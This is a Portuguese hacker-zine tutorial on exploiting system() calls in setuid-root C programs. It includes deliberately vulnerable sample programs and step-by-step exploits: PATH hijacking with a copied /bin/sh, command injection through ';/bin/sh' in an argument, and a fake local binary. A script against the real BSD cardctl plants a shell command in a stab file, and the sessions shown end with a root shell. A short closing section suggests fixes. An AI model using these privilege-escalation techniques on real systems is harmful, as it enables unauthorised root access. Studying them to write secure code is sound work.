|
Ah!!! Li
recentemente o manual de programacao basica escrito por nash
leon e nele aparece a explicacao sobre o Xploiting deste bug. Mesmo nao
sendo grande coisa, estas sao algumas falhas de seguranca que eu descobri
sozinho e nao me basiei em nenhum outro texto para a conclusao deste.
Ok...
Tipu... O primeiro bug q eu achei foi testando uns programas (c) ME
que utilizavam system() para executar comandos na shell e tornando o
programa mais simples.
Exemplo:
Ao invez de usar:
fd=fopen("./duh","w");
fprintf(fd,"Hellow World\n");
fclose(fp);
usei:
system("echo Hellow World >> ./duh");
E assim a fonte do programa tornava-se menor e mais compreensivel para
coders iniciantes.
Dae percebi q havia como xploitar tal programa mesmo nao podendo
interagir neste comando por strings externas, tipo:
sprintf(cmd,"echo %s >> ./duh", argv[1]);
system(cmd);
Note que no exemplo acima executamos o comando utilizando uma string
externa (argv[1]) como argumento. Mas voltando ao exemplo anterior, onde
nao ah nenhuma intervencao em strings...
Ah um outro metodo de intervir na funcao system() sem precisarmos
diretamente enviarmos uma string para ele.
O caso eh que assim como numa shell, qdo voce executa um comando no
system() sem o path completo dele, o caminho do programa eh procurado
na environment $PATH. Sendo assim podemos alterar o $PATH para um
diretorio q tenhamos permissao e assim fazer com que o system() execute
o comando que quizermos apenas renomeando-o.
Vamos a um exemplo...
<++> systembug/vul1.c
main() {
system("ls");
}
<-->
~# gcc vul1.c -ovul
~# chmod +s vul
Agora para xploita-lo...
~$ pwd
/tmp
~$ cp /bin/sh ./ls
~$ PATH1=$PATH
~$ PATH=./
~$ /f3/systembug/vul
~# id
uid=1337 (struck) gid=1337 (struck) euid=0 (root) egid=0 (root)
~# PATH=$PATH1
~#
Basicamente esta eh a
t3kn33k usada. Mas ha casos especificos que
podemos usar meios diferentes para xploitar o system().
O meio mais simples seria interagindo com strings externas usadas como
argumentos no system(). Vejamos o 2o exemplo:
<++> systembug/vul2.c
main(int argc, char *argv[]) {
char *cmd;
sprintf(cmd,"/bin/ls %s",argv[1]);
system(cmd);
}
<-->
~# gcc vul2.c -o vul2
~# chmod +s vul2
Para exploita-lo:
~$ /f3/systembug/vul2 ";/bin/sh"
~#
O resultado da string cmd seria "/bin/ls ;/bin/sh". Ou seja
podemos
executar de maneira muito banal uma shell qdo temos intervencao de strings
externas na funcao system().
Outro caso pode ser qdo
o programa a ser executado pelo system() esta
no mesmo diretorio do proprio programa (q possui o system()). Vamos ver
outro exemplo:
<++> systembug/vul3.c
main(){
system("./vul2 -la");
}
<-->
~# gcc vul3.c -o vul3
~# chmod +s vul3
Xploitando....
~$ pwd
/tmp
~$ cp /bin/sh ./vul2
~$ PATH=./
~$ /f3/systembug/vul3
~#
AWS!!!
Agora vamos ao 4o metodo e desta vez utilizando um programa de BSD
que possui esta falha.
O caso eh o seguinte... O programa procura por strings num arquivo e
as inclui no comando a ser executado pelo system(). Vou colar algumas
linhas originais do programa q demonstram a falha...
cardctl.c:
case 's':
stabfile = strdup(optarg); break;
...
f = fopen(stabfile, "r");
if (f == NULL)
return -1;
for (nstab = 0; fgets(s, 132, f); ) {
if (s[0] != 'S') {
sscanf(s, "%*d\t%s\t%*s\t%*d\t%s",
stab[nstab].class, stab[nstab].dev);
stab[nstab].status = 0;
nstab++;
}
}
fclose(f);
...
stab[i].status = execute(stab+i, "cksum", new);
...
sprintf(cmd, "./%s %s %s", s->class, action, s->dev);
ret = system(cmd);
Como podem ver ele busca
tb o nome do programa a ser executado e a
unica limitacao dele eh q tem que estar no mesmo dir (./).
Vamos xploita-lo...
<++> systembug/cardctl-ex.sh
#!/bin/sh
mkdir /tmp/card
echo "215 ../../bin/sh; none 2133 device" >> /tmp/card/stab
cd /tmp/card
/sbin/cardctl -s /tmp/card/stab scheme dido
<-->
~$ chmod +x cardctl-ex.sh
~$ ./cardctl-ex.sh
checking: device~#
~#
Voalah!!! Vimos que este
bug nao eh tao troxa qto parece. Fixa-lo eh
a coisa mais banal q existe... Eh soh dar corda no cerebro e comecar a
pensar um pouco (pra variar) q chegaremos a estas conclusoes:
Caso nao haja a necessidade
do comando ser executado como root, utilise:
setuid(getuid());
system(cmd);
Porem c for preciso do
uid 0 para o comando entao tente fazer com que
o system() nao receba strings externas...
Mas c ainda precisar utilizar strings externas coloque limitadores para
a string proibindo ";", "|", etc...
Mesmo assim, o melhor
meio para nao correr risco com tal falha eh
mesmo nao utilizando o system() e optando por uma funcao mais segura
para executar comandos.
|